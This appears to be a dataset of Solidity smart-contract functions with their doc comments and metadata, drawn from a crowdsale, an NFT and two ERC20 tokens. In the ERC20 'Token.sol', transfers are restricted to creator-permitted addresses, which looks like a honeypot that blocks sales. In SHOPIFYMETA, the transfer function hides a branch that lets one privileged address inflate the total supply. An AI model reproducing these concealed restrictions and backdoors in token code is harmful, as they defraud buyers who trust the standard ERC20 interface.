function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elaps...
/** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bon...
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 3708, 4266 ] }
1,436
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale...
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
function () payable public { buyTokens(msg.sender); }
/** @dev fallback function can be used to buy tokens */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 4345, 4417 ] }
1,437
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale...
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
buyTokens
function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 we...
/** @dev low level token purchase function */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 4486, 5981 ] }
1,438
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale...
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
emergencyDrain
function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; }
// ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used
LineComment
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 6219, 6564 ] }
1,439
PokerHands
contracts/PokerHands.sol
0x154289164629fcfff837053f37fb9c2099eab44e
Solidity
PokerHands
contract PokerHands is ERC721Enumerable, ReentrancyGuard, Ownable { string[] private deck = [ "Ace of Spades", "King of Spades", "Queen of Spades", "Jack of Spades", "Ten of Spades", "Nine of Spades", "Eight of Spades", "Seven of Spades", "Six of Spades", "Five of Spades", ...
claim
function claim(uint256 tokenId) public nonReentrant { require(tokenId > 0 && tokenId < 9990, "Token ID invalid"); _safeMint(_msgSender(), tokenId); }
// 10,000 total tokens, 10 reserved
LineComment
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 5215, 5376 ] }
1,440
PokerHands
contracts/PokerHands.sol
0x154289164629fcfff837053f37fb9c2099eab44e
Solidity
Base64
library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return "...
/// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org>
NatSpecSingleLine
encode
function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table...
/// @notice Encodes some bytes to the base64 representation
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 186, 1571 ] }
1,441
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @de...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 90, 149 ] }
1,442
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @de...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 228, 300 ] }
1,443
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @de...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 516, 597 ] }
1,444
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @de...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 868, 955 ] }
1,445
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @de...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * tra...
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1604, 1682 ] }
1,446
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @de...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1985, 2086 ] }
1,447
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1018, 1103 ] }
1,448
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1212, 1301 ] }
1,449
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the v...
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 1864, 1949 ] }
1,450
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2005, 2107 ] }
1,451
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2161, 2282 ] }
1,452
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
transfer
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2481, 2767 ] }
1,453
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 2821, 2974 ] }
1,454
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
approve
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 3108, 3290 ] }
1,455
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == unisw...
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * ...
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 3746, 4261 ] }
1,456
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be t...
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 4652, 4883 ] }
1,457
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be t...
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 5366, 5648 ] }
1,458
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipie...
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 6118, 6594 ] }
1,459
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; u...
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. ...
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 7015, 7359 ] }
1,460
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
name
function name() public view virtual override returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 861, 966 ] }
1,461
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
symbol
function symbol() public view virtual override returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 1080, 1189 ] }
1,462
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decimals
function decimals() public view virtual override returns (uint8) { return 18; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 1823, 1921 ] }
1,463
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
totalSupply
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 1981, 2094 ] }
1,464
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 2152, 2284 ] }
1,465
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); ...
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 2492, 3024 ] }
1,466
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 3082, 3238 ] }
1,467
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 3380, 3554 ] }
1,468
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _appr...
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `...
NatSpecMultiLine
v0.8.7+commit.e28d00a7
None
ipfs://4d20406a6792339ad3b47fe8713293019129419b286d24d572f9c39c25357425
{ "func_code_index": [ 4031, 4456 ] }
1,469
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; b...
